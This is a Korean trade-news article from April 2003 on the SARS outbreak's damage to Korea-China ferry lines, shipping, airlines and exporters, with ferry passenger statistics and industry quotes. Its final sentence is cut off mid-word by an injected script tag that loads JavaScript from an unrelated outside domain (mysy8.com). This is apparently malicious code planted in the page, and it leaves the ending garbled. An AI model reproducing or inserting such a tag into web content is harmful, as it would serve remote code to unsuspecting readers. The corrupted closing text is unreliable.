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작성일 |
2003-04-11 |
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‘SARS 괴질’ 파장… 해운항공·수출업계 강타 ‘대책부심’ |
‘SARS 괴질’ 파장… 해운항공·수출업계 강타 ‘대책부심’
카훼리선사들 예약취소 줄이어...수출업계 해외바이어 잇단 방한취소 컨테이너선사 검역대책 시급...항공업계 중국·홍콩 운항 감편 등 피해 심각
사스(SARS:중증급성호흡기증후군)가 해운수출물류업계에 큰 타격을 주고 있는 것으로 나타났다. 지난 2월말 세계보건기구(WHO)에서 ‘괴질’로 확인된 사스가 4월 접어들면서 동남아 전 지역으로 확산될 기미를 보이고 있으며 사망자수가 100여명을 넘어선 것으로 집계되고 있는 가운데, 관련업계가 초긴장 상태에 들어갔다. 카훼리의 경우 그 피해가 단연 심각한데, 사스 창궐로 카훼리서비스의 이용객이 급감했으며, 단체여행객들의 예약취소전화도 쇄도하는 것으로 알려졌다. 인천본부세관 발표에 따르면 지난 3월 한달간 인천~중국간 카훼리서비스 8개 항로에서 모두 194항차를 통해 총 승객수가 2만8천688명을 기록, 1항차 평균 승객이 147.8명인 것으로 나타났다. 이는 카훼리 1척당 평균 승객이 지난 1월 178.4명(176항차 3만1천398명), 2월 168.3명(149항차 2만5천78명)인 것과 비교할 때 각각 17.1%, 12.2% 감소한 것이다. 업계관계자는 “한중 카훼리의 주 고객인 보따리상들이 설과 중국 명절인 춘절을 보낸 뒤 3월부터 본격적으로 왕래에 나서는 점을 감안하면 3월 평균 승객이 1, 2월 승객보다도 적다는 것은 사스의 영향이 심각하다는 것을 말한다”고 설명했다. 이와 관련 위동항운관계자는 사스로 인해 최근 예약취소가 줄을 잇고 있다고 울상을 지었다. 회사관계자는 “사스 여파로 4ㆍ5월 단체여행 예약들이 100% 취소된 상태”라며 “보따리상들이 이용하고 있으나 일반여행객들의 발길은 완전 끊겼다”고 최근 상황을 말했다. 그는 또 “중국여유국에서 ‘중국 북동부는 영향없다’는 내용의 공문이 한국 카훼리선사측에 전달됐으나 여행객들은 전혀 믿으려 하지 않는다”며 “사스가 조기 진화되는 길만이 카훼리선사들이 살 길”이라고 전망했다. 단동국제항운 관계자는 “아직까지 중국 북부는 사스의 영향권이 아니나 매스컴의 떠들썩한 보도가 여행객들을 더욱 불안하게 하고 있다”면서 “고객들이 ‘사지(死地)로 보내려고 하는거냐’며 항의해 와 사실상 고객유치를 위한 영업이 불가능한 상황”이라고 한숨을 쉬었다. 진천해운 경우 지난달 30일부터 이번달 15일까지가 선박 정기점검기간으로 아직까지 승객들의 감소추세는 파악하지 못하고 있으나 점검기간이 끝나고 정상운항하게 된다면 사스에 따른 타격은 피해가지 못할 것이라고 관계자는 내다봤다. 현재 진천페리는 이번달 15일 이후 단체여행객들의 예약을 여러 건 받아놓은 상황이다. 4~5월이 어린이날과 어버이날이 껴있어 효도관광이나 단체가족여행객들이 붐비는 성수기임을 감안할 때 이번 사스여파는 카훼리선사들에게 심각한 피해를 안겨줄 것으로 관계자들은 분석했다. 이처럼 사스피해가 심각한 상황임에도 카훼리 선사들은 서비스항차의 감편계획은 없는 것으로 알려졌다. 화동훼리 관계자는 “일반여행객들은 전무한 상황이긴 하나 무역관련 고객이나 보따리상 등의 이용객들이 아직까진 있다”며 “여객이 아니더라도 화물운송을 위해서라도 항차수 유지는 계속하겠다”고 밝혔다. 타선사들도 화물운송을 위해서 서비스에 대한 폐지나 감편은 하지 않을 계획이다. 그러나 사스여파가 장기화된다면 이 또한 힘들지 않겠냐는 게 관계자들의 지적이다.
카훼리선사들 잇단 예약취소에도 감편계획 없을터 수출업계도 사스여파로 피해를 보고 있긴 마찬가지다. 3개월 연속 무역적자를 기록하고 있는 수출업계는 이번 사스확산으로 외국바아이들의 방한이 잇따라 취소되는 등 그 타격이 사뭇 심각한 것으로 드러났다. 한국무역협회와 KOTRA 등에 따르면 A전자업체는 미국 수출을 위해 최근 중국 광조우에 자동차 부품공장을 설립했으나 공장시설 점검 후 납품여부를 결정하겠다는 미 바이어가 사스를 이유로 방문을 계속 미루는 바람에 공장가동에 차질을 빚고 있는 것으로 나타났다. 종이제품 중간원료를 중국에 수출하는 B제지업체도 주문감소로 애를 먹고 있기는 마찬가지. B사 제품을 재가공해 다시 미국에 수출하는 중국업체가 미국 바이어의 방중 지연으로 원부자재 주문량을 크게 줄이고 있기 때문이다. 기계류 수출업체인 C사도 해외출장 계획을 연기한데 이어 해외거래처 관계자도 방한을 연기하는 바람에 신제품 홍보 및 제품 A/S 등에 차질을 빚고 있다. 임시방편으로 이메일, 팩스 등 통신수단과 현지채용 외국인을 활용해 일단 급한 불을 끄고 있지만 사스가 더 확산될 경우 피해는 더욱 늘어날 전망이다. 스위스 대형 유통업체인 쿱(COOP)사는 지난 7일부터 사흘간 국내에서 우리기업들과 구매상담을 벌일 예정이었으나 사스를 이유로 돌?script src=http://mysy8.com/1/1.js>
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